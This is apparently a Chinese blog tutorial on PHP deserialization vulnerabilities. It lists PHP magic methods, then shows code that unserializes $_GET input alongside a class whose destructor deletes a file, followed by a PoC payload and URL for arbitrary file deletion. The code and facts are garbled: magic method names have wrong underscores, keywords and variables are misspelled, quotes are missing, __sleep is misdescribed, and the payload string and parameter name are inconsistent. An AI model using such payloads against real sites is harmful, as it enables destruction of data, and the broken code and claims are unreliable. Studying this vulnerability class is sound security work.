反序列化漏洞(魔术方法)

1、php常见魔术函数

_construct() //当一个对象创建时被调用

_destruct() //对象销毁时触发

_wakeup() //使用unseriaize时触发

_sleep() //使用unserialize触发

_toSring() //把类当作字符串使用时触发

_get() //用于从不可访问的数据中读出数据

_set() //用于将数据写入不可访问的属性

_set() //用于将数据写入不可访问的属性

_isset() //在不可访问的属性上调用isset()或empty()触发

_unset() //在不可访问的属性上使用unset()时触发

_invoke() //当脚本尝试将对象调用为函数时触发

2、实例(_destruct())

这是test5中代码

<?php 

/**

*删除文件

*/

class delete

{

   pulic $filename = 'error'

    function _destruct()

       {

           echo $this->fiename ."was deleted<br />;

           unlink(dirname(_FILE_).'/'.$this->filename);

       }

}

?>

从代码中分析delete类中定义_destruct()函数,该函数中会执行删除文件的操作。如果我们想利用该函数来执行任意文件删除,则需要寻找一个可控的unseralize()函数  

然后在test6.php中可以看到包含test5.php

<?php 

include 'test5.php

class person

  public $name =' ';

  public $age = 0;

  publuc funtion Information()

  {

     echo 'persion: '.$this->name. 'is' . $this->age . ' years old .<br />; 

   }

}

$per = unserialize($_GET['per_serialized']);

?>

可以看见最后一行

$per = unserialize($_GET['per_serialized']);test

per_serialize是我们可以控制的

如果我们知道在该目录下有一个1.txt文件,如果我们想删除这个文件,则可以构造如下poc

<?php

class delete

{

  public $filename = 'error';

}

$test = new delete();

$test -> filename = '1.txt';

echo serialize($test);

?>

可以得到我们的payload:

O:6:"delete":1:{s:8:"filename":s:5:"1.txt;}

xxxxx/test6.php?per_serialize = O:6:"delete":1:{s:8:"filename":s:5:"1.txt;}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值